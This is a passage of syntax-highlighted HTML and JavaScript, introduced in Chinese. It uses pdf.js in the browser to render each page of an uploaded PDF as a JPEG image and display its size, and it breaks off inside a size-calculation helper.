&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;这段代码展示了如何打开 PDF 并将其转换为每页一张的图像:
```html
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;PDF to Images&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;title&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;https://cdnjs.cloudflare.com/ajax/libs/pdf.js/2.9.359/pdf.min.js&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;style&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;image-container&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;margin-bottom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="kt"&gt;px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;image-container&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;margin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;font-size&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="kt"&gt;px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;#888&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;style&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;head&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;file&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;fileInput&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;accept=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;.pdf&amp;quot;&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;image-container&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;

  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;desiredWidth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;800&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fileInput&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;fileInput&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;imageContainer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;.image-container&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;fileInput&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;change&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;handleFileUpload&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;pdfjsLib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;GlobalWorkerOptions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;workerSrc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://cdnjs.cloudflare.com/ajax/libs/pdf.js/2.9.359/pdf.worker.min.js&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;handleFileUpload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;file&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;files&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;imageIterator&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;convertPDFToImages&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;file&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;imageURL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;imageIterator&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;imgElement&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;img&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;imgElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;imageURL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;imageContainer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;imgElement&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sizeElement&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;p&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;sizeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`Size: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;formatSize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;imageContainer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sizeElement&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;convertPDFToImages&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pdf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pdfjsLib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getDocument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createObjectURL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;file&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nx"&gt;promise&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;numPages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pdf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;numPages&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;numPages&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;page&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pdf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getPage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;viewport&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getViewport&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;scale&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;canvas&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2d&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;width&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;desiredWidth&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;height&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;desiredWidth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;viewport&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;width&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;viewport&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;height&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;renderContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;canvasContext&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;viewport&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getViewport&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;scale&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;desiredWidth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;viewport&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;width&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;renderContext&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;promise&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;imageURL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;toDataURL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;image/jpeg&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;calculateSize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;imageURL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="k"&gt;yield&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;imageURL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Error:&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;calculateSize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;imageURL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;base64Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;imageURL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;data:image/jpeg;base64,&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
